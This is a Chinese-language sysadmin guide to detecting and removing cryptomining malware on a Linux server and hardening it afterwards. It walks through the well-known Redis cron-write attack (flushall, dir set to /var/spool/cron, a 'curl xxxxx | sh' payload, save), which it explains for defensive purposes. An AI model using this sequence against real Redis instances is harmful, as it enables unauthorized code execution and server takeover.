先说最优解: 服务器若是被挖矿了,建议备份数据且重装系统。
所谓的挖矿是什么,这里暂不做解释了,有需要者可以自行百度或者必应,本篇文章主要讲述被攻击后应当如何做。
如何发现问题
首先,挖矿程序是非常耗费cpu
的,若你发现近期某台服务器,cpu
使用率接近于100%, 而正常情况下,机器cpu
是没有用到这么多的,这个时候可能要注意了,可以使用如下命令,查询进程信息按照cpu
排序。
命令:
ps aux | head -n 1 ; ps aux | sort -k 3 -rn | head
我们拆分一下命令来看是如何分析的
ps aux | head -n 1
是打印ps aux
的标题栏。
而ps aux | sort -k 3 -rn | head
是查询ps aux
将按照第三列(sort -k 3 -rn
)进行降序排序, 而最后的head
是提取前10个结果。
可以寻找哪些不知名的进程,且占用率很高的,找到其进程后,可以使用PID
定位到程序位置,如果在/tmp
下等,一般是这类程序没跑了,那么如何分析程序位置呢? 由于没有环境,所以我们这边拿mysqld
举例。
例如我们查询到某个进程,觉得有问题,我们想查询下该进程的路径
我们先拿到pid
值,当然这个命令,已经跟了绝对路径哈,假设没有绝对路径,我们可以使用lsof -p PID值
查询,例如:
我们找到fd
为txt
,查看其值,就是程序的路径。
删除还是禁止启动
我们在拿到启动文件后,我们大概有2种做法,其一是删除文件,其二是禁止该文件启动,也就是取消该文件的执行权限,而二者有什么区别,分别在什么时候使用呢? 我们来逐一分析下。
一般而言,像这类挖矿病毒程序,一般是周期性质的,其启动项不是定义在cron
中的,就是执行的命令,那么我们应该如何查找呢?
若是使用cron
我们可以查看下/var/spool/cron/
目录中的文件,若是有异常任务,我们可以将其停止掉,而后再杀掉挖矿进程,删除其源文件。
若是使用的命令,我们应当如何查看呢,我们可以使用ps axjf
命令进行查看系统下所有的进程,若是进程以while
、for
等循环开头的,内部嵌套了curl
等的命令,那多半是启动命令,也是将其停掉,而后杀掉挖矿进程,然后删除源文件即可。
ps ajxf
是以树状结构来显示进程信息的。
若是上述二者都没有找到,我们可以先将文件可执行权限给拿掉,而后将文件锁起来,这个可以参考chattr
命令。
追根溯源
在上面的分析过程中,其实就可以开始追根溯源了,第一个点是看挖矿进程启动的用户,若是root
,那就要请运维同学三思了,是不是启动某些服务是使用root
启动的。
如果我们发现挖矿进程,是以每个用户来启动的,例如: redis
、php
用户,这反倒好办了,我们直接可以引发定位问题进程了,若是以root
来启动的,相对麻烦些,要靠猜才行了,我们可以猜是redis
引起的,而后逐步去推理这个问题,如果一路推下去毫无阻拦,那就是这个问题,若是有阻拦,那我们得换个角度继续猜,很多现实中的问题,就是考猜+反复验证解决的。
我们举个例子
我们发现系统被挖矿了,而启动该进程的用户是root
,我们由此怀疑是通过redis
进来的,我们可以思考如下几个点,
redis
端口是否对外redis
是否是弱口令
如果确定了如上2项,我们来看下一般是怎么通过redis
进行攻击的呢? 一般情况下是暴力破解连上redis
后,使用flushall
清空命令,而后使用dir
将其目录设置到cron
文件处即: /var/spool/cron
,再次修改filename
的值为用户名称,再次flushall
后,将命令(curl xxxxx | sh
)写入redis
使用save
将其存储到磁盘中,至此,攻击结束。
我们可以顺着这个思路,进行递推,比如,查询redis
日志等。
如何防止
我们介绍了如上情况,那么我们如何防止类似的情况发生呢? 这里给大家列举了几条措施
权限最小化
例如,启动redis
就没必要使用root
权限,而是应该新建一个redis
用户,专门用以启动redis
服务器,这样就算被攻击了,还不至于破坏那么大,且被攻击后,很容易查询是哪个进程引起的。
合理利用防火墙
3306
、6379
、27017
等熟知的服务器端口,尽量给固定ip
开放,而非0.0.0.0
,这里提及一下密码复杂度,尽量设置的相对于复杂点。
关闭不必要的插件
这个主要是php
服务,例如可以远程执行命令的插件等。
对php不是很熟悉,但是它是被攻击的重灾区。
总结
我们这篇文章,可以大概分析一些小问题了,其实最重要的是还是防止被攻击,这个取决于运维做事的态度,若是为了怕麻烦,而滥用权限,会导致严重的后果,最重要的,最重要的,被攻击后,尽量将数据备份出来,然后重装系统,这个才是上上之策,我们发现问题,我们也要吸取教训。当然你也可以选择一些比较靠谱的云服务器比如3A云服务。